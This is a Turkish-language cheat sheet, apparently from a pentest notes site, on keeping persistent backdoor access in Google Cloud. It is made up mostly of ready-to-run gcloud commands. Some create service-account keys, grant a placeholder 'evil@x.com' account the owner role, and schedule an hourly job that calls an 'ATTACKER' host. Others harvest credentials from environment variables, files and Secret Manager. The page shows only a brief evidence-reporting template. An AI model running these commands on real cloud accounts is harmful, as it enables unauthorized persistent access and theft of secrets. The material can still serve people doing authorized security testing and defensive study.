Skip to content

GCP - API Keys Persistence

GCP kalıcılık

GCP - API Keys Persistence — GCP ortamında kalıcı erişim ve geri dönüş kanalları notudur. Amaç: çağıran kimliği netleştirmek, servise özel saldırı yüzeyini komutlarla doğrulamak ve kanıtlanabilir etki üretmek. Her fence tek komut/payload taşır; çıktıyı hedefe göre uyarla.

  1. Mevcut erişim kanalını haritala (key, role, webhook, layer).

  2. Düşük gürültülü backdoor yüzeyi seç (alias, trust, schedule).

  3. Kalıcı kimlik veya tetikleyici yerleştir.

  4. İkinci oturumdan erişimi doğrula.

Önce kim olduğunu ve hangi hesaba/projeye/kontekste oturduğunu kilitle.

Terminal window
gcloud auth list
Terminal window
gcloud config get-value project
Terminal window
gcloud auth print-access-token | cut -c1-20

GCP - API Keys Persistence için doğrudan uygulanabilir komutlar. Placeholder’ları (BUCKET, ROLE, FN, …) hedef değerlerle değiştir.

Terminal window
gcloud organizations get-iam-policy ORG
Terminal window
gcloud auth list
Terminal window
gcloud config list
Terminal window
gcloud projects list
Terminal window
gcloud projects get-iam-policy PROJECT
Terminal window
gcloud iam service-accounts list
Terminal window
gcloud iam service-accounts keys list --iam-account SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud iam service-accounts keys create key.json --iam-account SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud projects add-iam-policy-binding PROJECT --member='user:evil@x.com' --role='roles/owner'
Terminal window
gcloud iam roles list --project PROJECT

Erişimi tekrar kullanılabilir kanala çevir veya veriyi dışarı al. İkinci bir oturumdan doğrula.

Terminal window
gcloud iam service-accounts keys create persist.json --iam-account SA@PROJECT.iam.gserviceaccount.com
Terminal window
gcloud scheduler jobs create http persist --schedule='0 * * * *' --uri=https://ATTACKER/ --http-method=GET
Terminal window
gcloud functions deploy persist --runtime python312 --trigger-http --source .

Env, metadata, secret store ve CI loglarından ikinci kimlik topla; yeni principal ile döngüyü tekrarla.

Terminal window
env | rg -i 'key|secret|token|password|aws_|azure|gcp|kube'
Terminal window
printenv | sort
Terminal window
find / -name '*.pem' -o -name 'credentials' -o -name '*.json' 2>/dev/null | head -n 40
Terminal window
gcloud secrets list
Terminal window
gcloud secrets versions access latest --secret=SECRET

Rapor için yeniden üretilebilir çıktı bırak: komut, zaman, hesap/arn, etki özeti.

request/response veya CLI çıktısı
hesap / proje / cluster
etki: okuma | yazma | RCE | lateral
zaman damgası + dosya hash
Terminal window
mkdir -p evidence/cloud && tee evidence/cloud/notes.txt